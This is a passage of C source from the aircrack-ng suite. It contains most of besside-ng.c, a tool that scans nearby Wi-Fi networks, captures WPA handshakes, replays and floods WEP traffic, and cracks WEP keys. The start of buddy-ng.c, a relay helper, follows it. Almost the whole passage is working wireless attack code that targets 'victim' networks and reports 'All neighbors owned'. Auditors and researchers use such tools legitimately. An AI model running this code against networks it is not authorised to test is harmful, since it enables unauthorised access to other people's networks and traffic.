4) == 0) psk++; if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk++; p += 4; } assert(l >= (p - start)); if (!psk) n->n_crypto = CRYPTO_WPA_MGT; return 0; } static int parse_elem_vendor(struct network *n, unsigned char *e, int l) { struct ieee80211_ie_wpa *wpa = (struct ieee80211_ie_wpa*) e; if (l < 5) return 0; if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return 0; if (l < 8) return 0; if (wpa->wpa_type != WPA_OUI_TYPE) return 0; return parse_rsn(n, (unsigned char*) &wpa->wpa_version, l - 6, 0); } static void wifi_beacon(struct network *n, struct ieee80211_frame *wh, int totlen) { unsigned char *p = (unsigned char*) (wh + 1); int bhlen = 8 + 2 + 2; int new = 0; int len = totlen; int hidden = 0; int ssids = 0; totlen -= sizeof(*wh); if (totlen < bhlen) goto __bad; if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return; if (!n->n_have_beacon) new = 1; n->n_have_beacon = 1; n->n_crypto = CRYPTO_WEP; n->n_dbm = _state.s_ri->ri_power; p += bhlen; totlen -= bhlen; while (totlen > 2) { int id = *p++; int l = *p++; totlen -= 2; if (totlen < l) goto __bad; switch (id) { case IEEE80211_ELEMID_SSID: if (++ssids > 1) break; if (l == 0 || p[0] == 0) hidden = 1; else { memcpy(n->n_ssid, p, l); n->n_ssid[l] = 0; } break; case IEEE80211_ELEMID_DSPARMS: n->n_chan = *p; break; case IEEE80211_ELEMID_VENDOR: if (parse_elem_vendor(n, &p[-2], l + 2) == -1) goto __bad; break; case IEEE80211_ELEMID_RSN: if (parse_rsn(n, p, l, 1) == -1) goto __bad; break; default: // printf("id %d len %d\n", id, l); break; } p += l; totlen -= l; } if (new) { packet_copy(&n->n_beacon, wh, len); found_new_network(n); if (hidden && n->n_ssid[0]) found_ssid(n); if (ssids > 1 && should_attack(n)) { time_printf(V_NORMAL, "WARNING: unsupported multiple SSIDs" " for network %s [%s]\n", mac2str(n->n_bssid), n->n_ssid); } } return; __bad: printf("\nBad beacon\n"); } static int for_us(struct ieee80211_frame *wh) { return memcmp(wh->i_addr1, _state.s_mac, sizeof(wh->i_addr1)) == 0; } static void has_mac_filter(struct network *n) { time_printf(V_VERBOSE, "MAC address filter on %s\n", n->n_ssid); n->n_mac_filter = 1; } static void wifi_auth(struct network *n, struct ieee80211_frame *wh, int len) { uint16_t *p = (uint16_t*) (wh + 1); int rc; if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad; rc = le16toh(p[2]); if (for_us(wh) && rc != 0) { if (!n->n_mac_filter) has_mac_filter(n); } if (for_us(wh) && n->n_astate == ASTATE_PING) { ping_reply(n, wh); return; } if (for_us(wh) && n->n_wstate == ASTATE_NONE && need_connect(n)) { if (le16toh(p[0]) != 0 || le16toh(p[1]) != 2) return; if (le16toh(p[2]) == 0) { n->n_wstate = WSTATE_AUTH; time_printf(V_VERBOSE, "Authenticated\n"); network_connect(n); } } return; __bad: printf("Bad auth\n"); } static void found_mac(struct network *n) { if (!n->n_mac_filter || n->n_got_mac) return; assert(n->n_client_mac); time_printf(V_NORMAL, "Found MAC %s for %s\n", mac2str(n->n_client_mac->c_mac), n->n_ssid); n->n_got_mac = 1; } static void wifi_assoc_resp(struct network *n, struct ieee80211_frame *wh, int len) { uint16_t *p = (uint16_t*) (wh + 1); if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad; if (for_us(wh) && n->n_wstate == WSTATE_AUTH) { if (le16toh(p[1]) == 0) { int aid = le16toh(p[2]) & 0x3FFF; n->n_wstate = WSTATE_ASSOC; time_printf(V_NORMAL, "Associated to %s AID [%d]\n", n->n_ssid, aid); found_mac(n); attack_continue(n); } else time_printf(V_NORMAL, "Assoc died %d\n", le16toh(p[1])); } return; __bad: printf("Bad assoc resp\n"); } static void grab_hidden_ssid(struct network *n, struct ieee80211_frame *wh, int len, int off) { unsigned char *p = ((unsigned char *)(wh + 1)) + off; int l; if (n->n_ssid[0]) return; len -= sizeof(*wh) + off + 2; if (len < 0) goto __bad; if (*p++ != IEEE80211_ELEMID_SSID) goto __bad; l = *p++; if (l > len) goto __bad; if (l == 0) return; memcpy(n->n_ssid, p, l); n->n_ssid[l] = 0; if (!n->n_have_beacon) return; found_ssid(n); return; __bad: printf("\nbad grab_hidden_ssid\n"); return; } static void wifi_mgt(struct network *n, struct ieee80211_frame *wh, int len) { switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_BEACON: wifi_beacon(n, wh, len); case IEEE80211_FC0_SUBTYPE_AUTH: wifi_auth(n, wh, len); break; case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: wifi_assoc_resp(n, wh, len); break; case IEEE80211_FC0_SUBTYPE_DEAUTH: if (for_us(wh) && need_connect(n)) { time_printf(V_VERBOSE, "Got deauth for %s\n", n->n_ssid); n->n_wstate = WSTATE_NONE; network_connect(n); } break; case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: grab_hidden_ssid(n, wh, len, 2 + 2); break; case IEEE80211_FC0_SUBTYPE_REASSOC_REQ: grab_hidden_ssid(n, wh, len, 2 + 2 + 6); break; case IEEE80211_FC0_SUBTYPE_PROBE_RESP: grab_hidden_ssid(n, wh, len, 8 + 2 + 2); break; default: if (for_us(wh)) { printf("UNHANDLED MGMT %d\n", (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) >> IEEE80211_FC0_SUBTYPE_SHIFT); } break; } } static void wifi_ctl(struct ieee80211_frame *wh, int len) { // printf("ctl\n"); if (wh && len) {} } static unsigned char *get_client_mac(struct ieee80211_frame *wh) { unsigned char *bssid = get_bssid(wh); int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; if (type == IEEE80211_FC0_TYPE_CTL) return NULL; if (!bssid) return wh->i_addr2; if (bssid == wh->i_addr1) return wh->i_addr2; else return wh->i_addr1; } static struct client *client_get(struct network *n, struct ieee80211_frame *wh) { struct client *c = n->n_clients.c_next; unsigned char *cmac = get_client_mac(wh); if (!cmac) return NULL; while (c) { if (memcmp(c->c_mac, cmac, 6) == 0) return c; c = c->c_next; } return NULL; } static struct client *client_update(struct network *n, struct ieee80211_frame *wh) { unsigned char *cmac = get_client_mac(wh); struct client *c; int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; if (!cmac) return NULL; /* let's not pwn ourselves */ if (memcmp(cmac, _state.s_mac, sizeof(_state.s_mac)) == 0) return NULL; if (cmac == wh->i_addr1) { if (memcmp(cmac, BROADCAST, 6) == 0) return NULL; /* multicast */ if (memcmp(cmac, "\x01\x00\x5e", 3) == 0) return NULL; /* ipv6 multicast */ if (memcmp(cmac, "\x33\x33", 2) == 0) return NULL; /* MAC PAUSE */ if (memcmp(cmac, "\x01\x80\xC2", 3) == 0) return NULL; /* fuck it */ if (cmac[0] == 0x01) return NULL; } /* here we can choose how conservative to be */ if (type == IEEE80211_FC0_TYPE_MGT) { switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: break; case IEEE80211_FC0_SUBTYPE_PROBE_RESP: default: return NULL; } } c = client_get(n, wh); if (!c) { c = xmalloc(sizeof(*c)); memset(c, 0, sizeof(*c)); memcpy(c->c_mac, cmac, sizeof(c->c_mac)); c->c_next = n->n_clients.c_next; n->n_clients.c_next = c; if (n->n_have_beacon && (n->n_crypto == CRYPTO_WPA || n->n_crypto == CRYPTO_WEP)) found_new_client(n, c); } return c; } static int eapol_handshake_step(unsigned char *eapol, int len) { int eapol_size = 4 + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16 + 2; if (len < eapol_size) return 0; /* not pairwise */ if ((eapol[6] & 0x08) == 0) return 0; /* 1: has no mic */ if ((eapol[5] & 1) == 0) return 1; /* 3: has ack */ if ((eapol[6] & 0x80) != 0) return 3; if (*((uint16_t*) &eapol[eapol_size - 2]) == 0) return 4; return 2; } static void process_eapol(struct network *n, struct client *c, unsigned char *p, int len, struct ieee80211_frame *wh, int totlen) { int num, i; if (n->n_client_handshake) return; num = eapol_handshake_step(p, len); if (num == 0) return; /* reset... should use time, too. XXX conservative - check retry */ if (c->c_wpa == 0 || num <= c->c_wpa) { for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0; c->c_wpa_got = 0; } c->c_wpa = num; switch (num) { case 1: c->c_wpa_got |= 1; break; case 2: c->c_wpa_got |= 2; c->c_wpa_got |= 4; break; case 3: if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1; c->c_wpa_got |= 4; break; case 4: if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2; c->c_wpa_got |= 4; break; default: abort(); } packet_copy(&c->c_handshake[num - 1], wh, totlen); time_printf(V_VERBOSE, "Got WPA handshake step %d (have %d) for %s\n", num, c->c_wpa_got, n->n_ssid); if (c->c_wpa_got == 7) { n->n_client_handshake = c; time_printf(V_NORMAL, "Got necessary WPA handshake info for %s\n", n->n_ssid); n->n_client_mac = c; found_mac(n); if (n->n_ssid[0]) { n->n_astate = ASTATE_WPA_CRACK; attack_continue(n); } } } static int is_replayable(struct ieee80211_frame *wh, int len) { unsigned char clear[2048]; int dlen = len - 4 - 4; int clearsize; int weight[16]; known_clear(clear, &clearsize, weight, (void*) wh, dlen); if (clearsize < 16) return 0; return 1; } static void get_replayable(struct network *n, struct ieee80211_frame *wh, unsigned char *body, int len) { if (!is_replayable(wh, len)) return; if (n->n_replay_len) return; n->n_replay_got = 0; assert(len + sizeof(*wh) <= (int) sizeof(n->n_replay)); memcpy(&n->n_replay[sizeof(*wh)], body, len); n->n_replay_len = len + sizeof(*wh); wh = (struct ieee80211_frame*) n->n_replay; fill_basic(n, wh); memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr3)); memcpy(wh->i_addr3, BROADCAST, sizeof(wh->i_addr3)); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; time_printf(V_NORMAL, "Got replayable packet for %s [len %d]\n", n->n_ssid, len - 4 - 4); if (_state.s_state == STATE_ATTACK && _state.s_curnet == n && n->n_astate == ASTATE_WEP_PRGA_GET) attack_continue(n); } static void check_replay(struct network *n, struct ieee80211_frame *wh, int len) { if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_astate != ASTATE_WEP_FLOOD) return; if (!(wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS)) return; if (memcmp(wh->i_addr3, _state.s_mac, sizeof(wh->i_addr3)) != 0) return; if (len != (int) (n->n_replay_len - sizeof(*wh))) return; n->n_replay_got++; memcpy(&n->n_replay_last, &_state.s_now, sizeof(n->n_replay_last)); // ack clocked do_flood(n); } static void do_wep_crack(struct cracker *c, struct network *n, int len, int limit) { ssize_t unused; unsigned char key[PTW_KEYHSBYTES]; int (*all)[256]; int i, j; all = xmalloc(256 * 32 * sizeof(int)); //initial setup (complete keyspace) for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) all[i][j] = 1; } if (PTW_computeKey(n->n_ptw, key, len, limit, PTW_DEFAULTBF, all, 0) != 1) return; unused = write(c->cr_pipe[1], key, len); } static void crack_wep64(struct cracker *c, struct network *n) { do_wep_crack(c, n, 5, KEYLIMIT / 10); } static void crack_wep128(struct cracker *c, struct network *n) { do_wep_crack(c, n, 13, KEYLIMIT); } static void cracker_start(struct cracker *c, cracker_cb cb, struct network *n) { if (pipe(c->cr_pipe) == -1) err(1, "pipe()"); c->cr_pid = fork(); if (c->cr_pid == -1) err(1, "fork()"); if (c->cr_pid) { /* parent */ close(c->cr_pipe[1]); } else { /* child */ close(c->cr_pipe[0]); cb(c, n); exit(0); } } static void wep_crack_start(struct network *n) { cracker_kill(&n->n_cracker_wep[0]); cracker_kill(&n->n_cracker_wep[1]); cracker_start(&n->n_cracker_wep[0], crack_wep64, n); cracker_start(&n->n_cracker_wep[1], crack_wep128, n); } static void wep_crack(struct network *n) { if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_astate != ASTATE_WEP_FLOOD) { n->n_crack_next = n->n_data_count + 1; return; } wep_crack_start(n); n->n_crack_next += _conf.cf_crack_int; } static int ptw_add(struct network *n, struct ieee80211_frame *wh, unsigned char *body, int len) { unsigned char clear[2048]; int dlen = len - 4 - 4; int clearsize; int i, weight[16], k, j; int rc = 0; k = known_clear(clear, &clearsize, weight, (void*) wh, dlen); if (clearsize < 16) return rc; for (j = 0; j < k; j++) { for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i]; } if (!n->n_ptw) { n->n_ptw = PTW_newattackstate(); if (!n->n_ptw) err(1, "PTW_newattackstate()"); } if (PTW_addsession(n->n_ptw, body, clear, weight, k)) { speed_add(&n->n_flood_in); n->n_data_count++; rc = 1; } if (n->n_data_count == n->n_crack_next) wep_crack(n); return rc; } static void ptw_free(struct network *n) { if (n->n_ptw) { PTW_freeattackstate(n->n_ptw); n->n_ptw = NULL; } } static void wifi_data(struct network *n, struct ieee80211_frame *wh, int len) { unsigned char *p = (unsigned char*) (wh + 1); struct llc* llc; int wep = wh->i_fc[1] & IEEE80211_FC1_WEP; int eapol = 0; struct client *c; int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; int orig = len; assert(n); len -= sizeof(*wh); if (stype == IEEE80211_FC0_SUBTYPE_QOS) { p += 2; len -= 2; } if (!wep && len >= 8) { llc = (struct llc*) p; eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0; p += 8; len -= 8; } if (!wep && !eapol) return; if (!n->n_have_beacon) { n->n_chan = _state.s_chan; n->n_crypto = eapol ? CRYPTO_WPA : CRYPTO_WEP; /* XXX */ if (n->n_crypto == CRYPTO_WEP && p[3] != 0) n->n_crypto = CRYPTO_WPA; } if (eapol) { c = client_get(n, wh); /* c can be null if using our MAC (e.g., VAPs) */ if (c) process_eapol(n, c, p, len, wh, orig); return; } if (n->n_crypto != CRYPTO_WEP) { ptw_free(n); return; } if (len < (4 + 4)) return; if (n->n_astate == ASTATE_DONE) return; get_replayable(n, wh, p, len); check_replay(n, wh, len); if (ptw_add(n, wh, p, len)) { if (n->n_have_beacon && !n->n_beacon_wrote) { packet_write_pcap(_state.s_wepfd, &n->n_beacon); n->n_beacon_wrote = 1; } write_pcap(_state.s_wepfd, wh, orig); } } static struct network *network_update(struct ieee80211_frame* wh) { struct network *n; struct client *c = NULL; unsigned char *bssid; int fromnet; bssid = get_bssid(wh); if (!bssid) return NULL; n = network_get(wh); if (!n) n = network_add(wh); assert(n); if ((fromnet = (memcmp(wh->i_addr2, bssid, sizeof(wh->i_addr2)) == 0))) n->n_dbm = _state.s_ri->ri_power; c = client_update(n, wh); if (c && !fromnet) c->c_dbm = _state.s_ri->ri_power; return n; } static void wifi_read(void) { struct state *s = &_state; unsigned char buf[2048]; int rd; struct rx_info ri; struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; struct network *n; rd = wi_read(s->s_wi, buf, sizeof(buf), &ri); if (rd <= 0) err(1, "wi_read()"); s->s_ri = &ri; n = network_update(wh); switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: wifi_mgt(n, wh, rd); break; case IEEE80211_FC0_TYPE_CTL: wifi_ctl(wh, rd); break; case IEEE80211_FC0_TYPE_DATA: wifi_data(n, wh, rd); break; default: printf("Unknown type %d\n", wh->i_fc[0]); } } static const char *astate2str(int astate) { static char num[16]; static char *states[] = { "NONE", "PING", "READY", "DEAUTH", "WPA_CRACK", "GET REPLAY", "FLOOD", "NONE", "DONE" }; if (astate >= (int) (sizeof(states) / sizeof(*states))) { snprintf(num, sizeof(num), "%d", astate); return num; } return states[astate]; } static const char *wstate2str(int astate) { static char num[16]; static char *states[] = { "NONE", "AUTH", "ASSOC" }; if (astate >= (int) (sizeof(states) / sizeof(*states))) { snprintf(num, sizeof(num), "%d", astate); return num; } return states[astate]; } static void print_status(int advance) { static char status[] = "|/-|/-\\"; static char *statusp = status; struct network *n = _state.s_curnet; struct client *c; int ccount = 0; time_printf(V_NORMAL, "%c", *statusp); switch (_state.s_state) { case STATE_SCAN: printf(" Scanning chan %.2d", _state.s_chan); break; case STATE_ATTACK: printf(" Attacking [%s] %s - %s", n->n_ssid, n->n_crypto == CRYPTO_WPA ? "WPA" : "WEP", astate2str(n->n_astate)); if (need_connect(n) && n->n_wstate != WSTATE_ASSOC) printf(" [conn: %s]", wstate2str(n->n_wstate)); switch (n->n_astate) { case ASTATE_WEP_FLOOD: if (n->n_cracker_wep[0].cr_pid || n->n_cracker_wep[1].cr_pid) printf(" cracking"); speed_calculate(&n->n_flood_in); speed_calculate(&n->n_flood_out); printf(" - %d IVs rate %d [%d PPS out] len %d", n->n_data_count, n->n_flood_in.s_speed, n->n_flood_out.s_speed, (int) (n->n_replay_len - sizeof(struct ieee80211_frame) - 4 - 4) ); break; case ASTATE_DEAUTH: c = n->n_clients.c_next; while (c) { ccount++; c = c->c_next; } if (ccount) printf(" (know %d clients)", ccount); break; } break; } printf("\r"); fflush(stdout); if (advance) statusp++; if (statusp >= (&status[sizeof(status) - 1])) statusp = status; } static void make_progress(void) { if (_state.s_state == STATE_SCAN && _state.s_hopcycles > 2) { print_work(); attack_next(); _state.s_hopcycles = 0; } } static void cracker_check(struct network *n, struct cracker *c) { unsigned char buf[1024]; int rc; rc = read(c->cr_pipe[0], buf, sizeof(buf)); if (rc <= 0) { cracker_kill(c); return; } assert(rc <= (int) sizeof(n->n_key)); memcpy(n->n_key, buf, rc); n->n_key_len = rc; time_printf(V_NORMAL, "Got key for %s [", n->n_ssid); print_hex(n->n_key, n->n_key_len); printf("] %d IVs\n", n->n_data_count); cracker_kill(&n->n_cracker_wep[0]); cracker_kill(&n->n_cracker_wep[1]); n->n_astate = ASTATE_DONE; ptw_free(n); attack_continue(n); } static int add_cracker_fds(fd_set *fds, int max) { struct network *n; int i; if (_state.s_state != STATE_ATTACK) return max; n = _state.s_curnet; for (i = 0; i < 2; i++) { struct cracker *c = &n->n_cracker_wep[i]; if (c->cr_pipe[0]) { FD_SET(c->cr_pipe[0], fds); if (c->cr_pipe[0] > max) max = c->cr_pipe[0]; } } return max; } static void check_cracker_fds(fd_set *fds) { struct network *n; struct cracker *c; int i; if (_state.s_state != STATE_ATTACK) return; n = _state.s_curnet; for (i = 0; i < 2; i++) { c = &n->n_cracker_wep[i]; if (c->cr_pipe[0] && FD_ISSET(c->cr_pipe[0], fds)) cracker_check(n, c); } } static char *strip_spaces(char *p) { char *x; while (*p == ' ') p++; x = p + strlen(p) - 1; while (x >= p && *x == ' ') *x-- = 0; return p; } static int parse_hex(unsigned char *out, char *in, int l) { int len = 0; while (in) { char *p = strchr(in, ':'); int x; if (--l < 0) err(1, "parse_hex len"); if (p) *p++ = 0; if (sscanf(in, "%x", &x) != 1) errx(1, "parse_hex()"); *out++ = (unsigned char) x; len++; in = p; } return len; } static void resume_network(char *buf) { char *p = buf, *p2; int state = 0; struct network *n; if (buf[0] == '#') return; n = network_new(); while (1) { p2 = strchr(p, '|'); if (!p2) { p2 = strchr(p, '\n'); if (!p2) break; } *p2++ = 0; p = strip_spaces(p); switch (state) { /* ssid */ case 0: strncpy(n->n_ssid, p, sizeof(n->n_ssid)); (n->n_ssid)[sizeof(n->n_ssid) -1] = '\0'; break; /* key */ case 1: if (strstr(p, "handshake")) { n->n_crypto = CRYPTO_WPA; n->n_client_handshake = (void*) 0xbad; } else if (strchr(p, ':')) { n->n_crypto = CRYPTO_WEP; n->n_key_len = parse_hex(n->n_key, p, sizeof(n->n_key)); } if (n->n_crypto != CRYPTO_NONE) { n->n_have_beacon = 1; n->n_astate = ASTATE_DONE; } break; /* bssid */ case 2: parse_hex(n->n_bssid, p, sizeof(n->n_bssid)); break; case 3: if (*p) { struct client *c = xmalloc(sizeof(*c)); memset(c, 0, sizeof(*c)); parse_hex(c->c_mac, p, sizeof(c->c_mac)); n->n_client_mac = c; n->n_got_mac = 1; } break; } state++; p = p2; } if (n->n_astate != ASTATE_DONE) { free(n); return; } do_network_add(n); network_print(n); } static void resume(void) { FILE *f; char buf[4096]; f = fopen(_conf.cf_log, "r"); if (!f) return; time_printf(V_NORMAL, "Resuming from %s\n", _conf.cf_log); while (fgets(buf, sizeof(buf), f)) resume_network(buf); fclose(f); } static void cleanup(int UNUSED(x)) { struct state *s = &_state; struct network *n; printf("\nDying...\n"); wi_close(s->s_wi); if (_state.s_state == STATE_ATTACK) { n = _state.s_curnet; assert(n); cracker_kill(&n->n_cracker_wep[0]); cracker_kill(&n->n_cracker_wep[1]); } if (_state.s_wpafd) close(_state.s_wpafd); if (_state.s_wepfd) close(_state.s_wepfd); print_work(); exit(0); } static void pwn(void) { struct state *s = &_state; struct timeval tv; fd_set fds; int wifd, max, rc; if (!(s->s_wi = wi_open(_conf.cf_ifname))) err(1, "wi_open()"); if (wi_get_mac(s->s_wi, _state.s_mac) == -1) err(1, "wi_get_mac()"); gettimeofday(&_state.s_now, NULL); memcpy(&_state.s_start, &_state.s_now, sizeof(_state.s_start)); wifd = wi_fd(s->s_wi); max = wifd; time_printf(V_VERBOSE, "mac %s\n", mac2str(_state.s_mac)); time_printf(V_NORMAL, "Let's ride\n"); if (wi_set_channel(s->s_wi, _state.s_chan) == -1) err(1, "wi_set_channel()"); resume(); _state.s_wpafd = open_pcap(_conf.cf_wpa); _state.s_wepfd = open_pcap(_conf.cf_wep); save_log(); time_printf(V_NORMAL, "Logging to %s\n", _conf.cf_log); scan_start(); while (s->s_state != STATE_DONE) { timer_next(&tv); FD_ZERO(&fds); FD_SET(wifd, &fds); max = add_cracker_fds(&fds, max); if ((rc = select(max + 1, &fds, NULL, NULL, &tv)) == -1 && errno != EINTR) err(1, "select()"); gettimeofday(&_state.s_now, NULL); check_cracker_fds(&fds); print_status(FD_ISSET(wifd, &fds)); if (FD_ISSET(wifd, &fds)) wifi_read(); timer_check(); make_progress(); } time_printf(V_NORMAL, "All neighbors owned\n"); cleanup(0); } static void channel_add(int num) { struct channel *c = xmalloc(sizeof(*c)); struct channel *pos = _conf.cf_channels.c_next; while (pos->c_next != _conf.cf_channels.c_next) pos = pos->c_next; memset(c, 0, sizeof(*c)); pos->c_next = c; c->c_num = num; c->c_next = _conf.cf_channels.c_next; } static void init_conf(void) { int i; _conf.cf_channels.c_next = &_conf.cf_channels; for (i = 1; i <= 11; i++) channel_add(i); _state.s_hopchan = _conf.cf_channels.c_next; _conf.cf_hopfreq = 250; _conf.cf_deauthfreq = 2500; _conf.cf_attackwait = 10; _conf.cf_floodwait = 60; _conf.cf_to = 100; _conf.cf_floodfreq = 10 * 1000; _conf.cf_crack_int = 5000; _conf.cf_wpa = "wpa.cap"; _conf.cf_wep = "wep.cap"; _conf.cf_log = "besside.log"; _conf.cf_do_wep = 1; _conf.cf_do_wpa = 1; } static const char *timer_cb2str(timer_cb cb) { if (cb == hop) return "hop"; else if (cb == attack_watchdog) return "attack_watchdog"; else if (cb == deauth) return "deauth"; else return "UNKNOWN"; } static void print_state_network(struct network *n) { struct client *c = n->n_clients.c_next; printf("Network: [%s] chan %d bssid %s astate %d dbm %d" " have_beacon %d crypto %d", n->n_ssid, n->n_chan, mac2str(n->n_bssid), n->n_astate, n->n_dbm, n->n_have_beacon, n->n_crypto); if (n->n_key_len) { printf(" KEY ["); print_hex(n->n_key, n->n_key_len); printf("]"); } printf("\n"); while (c) { printf("\tClient: %s wpa_got %d dbm %d\n", mac2str(c->c_mac), c->c_wpa_got, c->c_dbm); c = c->c_next; } } static void print_state(int UNUSED(x)) { struct state *s = &_state; struct network *n = s->s_curnet; struct channel *c = s->s_hopchan; struct channel *c2 = c; struct timer *t = s->s_timers.t_next; printf("\n=============== Internal state ============\n"); printf("State:\t%d\n", s->s_state); if (s->s_state == STATE_ATTACK) { printf("Current attack network: [%s] %s\n", n->n_ssid, mac2str(n->n_bssid)); } n = _state.s_networks.n_next; while (n) { print_state_network(n); n = n->n_next; } printf("Current chan: %d\n", s->s_chan); printf("Hop cycle %d chans:", s->s_hopcycles); do { printf(" %d", c->c_num); c = c->c_next; if (c != c2) printf(","); } while (c != c2); printf("\n"); printf( #if !defined( __APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__) "Now: %lu.%lu\n", #else "Now: %lu.%d\n", #endif s->s_now.tv_sec, s->s_now.tv_usec); while (t) { printf( #if !defined( __APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__) "Timer: %lu.%lu %p[%s](%p)\n", #else "Timer: %lu.%d %p[%s](%p)\n", #endif t->t_tv.tv_sec, t->t_tv.tv_usec, t->t_cb, timer_cb2str(t->t_cb), t->t_arg); t = t->t_next; } print_work(); printf("===========================================\n"); } static void usage(char *prog) { char *version_info = getVersion("Besside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); printf("\n" " %s - (C) 2010 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: %s [options] \n" "\n" " Options:\n" "\n" " -b : Victim BSSID\n" #ifdef HAVE_PCRE " -R : Victim ESSID regex\n" #endif " -s : Upload wpa.cap for cracking\n" " -c : chanlock\n" " -p : flood rate\n" " -W : WPA only\n" " -v : verbose, -vv for more, etc.\n" " -h : This help screen\n" "\n", version_info, prog); free(version_info); exit(1); } int main(int argc, char *argv[]) { int ch; #ifdef HAVE_PCRE const char *pcreerror; int pcreerroffset; #endif init_conf(); while ((ch = getopt(argc, argv, "hb:vWs:c:p:R:")) != -1) { switch (ch) { case 's': _conf.cf_wpa_server = optarg; break; case 'W': _conf.cf_do_wep = 0; break; case 'p': _conf.cf_floodfreq = (int) (1.0 / (double) atoi(optarg) * 1000.0 * 1000.0); break; case 'c': // XXX leak _conf.cf_channels.c_next = &_conf.cf_channels; channel_add(atoi(optarg)); _state.s_hopchan = _conf.cf_channels.c_next; break; case 'v': _conf.cf_verb++; break; case 'b': _conf.cf_bssid = xmalloc(6); parse_hex(_conf.cf_bssid, optarg, 6); break; #ifdef HAVE_PCRE case 'R': if (_conf.cf_essid_regex != NULL) { printf("Error: ESSID regular expression already given. Aborting\n"); exit(1); } _conf.cf_essid_regex = pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL); if (_conf.cf_essid_regex == NULL) { printf("Error: regular expression compilation failed at offset %d: %s; aborting\n", pcreerroffset, pcreerror); exit(1); } break; #endif default: case 'h': usage(argv[0]); break; } } if (optind <= argc) _conf.cf_ifname = argv[optind]; if (!_conf.cf_ifname) { printf("Gimme an interface name dude\n"); usage(argv[0]); } signal(SIGINT, cleanup); signal(SIGKILL, cleanup); signal(SIGUSR1, print_state); signal(SIGCHLD, do_wait); pwn(); #ifdef HAVE_PCRE if(_conf.cf_essid_regex) pcre_free(_conf.cf_essid_regex); #endif exit(0); } aircrack-ng-1.2-rc4/src/buddy-ng.c0000644000000000000000000001354612630750015015375 0ustar rootroot /* * Copyright (c) 2007-2009 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef __NetBSD__ #include #endif #include "easside.h" #include "version.h" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); unsigned char ids[8192]; unsigned short last_id; int wrap; int is_dup(unsigned short id) { int idx = id/8; int bit = id % 8; unsigned char mask = (1 << bit); if (ids[idx] & mask) return 1; ids[idx] |= mask; return 0; } int handle(int s, unsigned char* data, int len, struct sockaddr_in *s_in) { char buf[2048]; unsigned short *cmd = (unsigned short *)buf; int plen; struct in_addr *addr = &s_in->sin_addr; unsigned short *pid = (unsigned short*) data; /* inet check */ if (len == S_HELLO_LEN && memcmp(data, "sorbo", 5) == 0) { unsigned short *id = (unsigned short*) (data+5); int x = 2+4+2; *cmd = htons(S_CMD_INET_CHECK); memcpy(cmd+1, addr, 4); memcpy(cmd+1+2, id, 2); printf("Inet check by %s %d\n", inet_ntoa(*addr), ntohs(*id)); if (send(s, buf, x, 0) != x) return 1; return 0; } *cmd++ = htons(S_CMD_PACKET); *cmd++ = *pid; plen = len - 2; if (plen < 0) return 0; last_id = ntohs(*pid); if (last_id > 20000) wrap = 1; if (wrap && last_id < 100) { wrap = 0; memset(ids, 0, sizeof(ids)); } printf("Got packet %d %d", last_id, plen); if (is_dup(last_id)) { printf(" (DUP)\n"); return 0; } printf("\n"); *cmd++ = htons(plen); memcpy(cmd, data+2, plen); plen += 2 + 2 + 2; assert(plen <= (int) sizeof(buf)); if (send(s, buf, plen, 0) != plen) return 1; return 0; } void handle_dude(int dude, int udp) { unsigned char buf[2048]; int rc; fd_set rfds; int maxfd; struct sockaddr_in s_in; socklen_t len; /* handshake */ rc = recv(dude, buf, 5, 0); if (rc != 5) { close(dude); return; } if (memcmp(buf, "sorbo", 5) != 0) { close(dude); return; } if (send(dude, "sorbox", 6, 0) != 6) { close(dude); return; } printf("Handshake complete\n"); memset(ids, 0, sizeof(ids)); last_id = 0; wrap = 0; 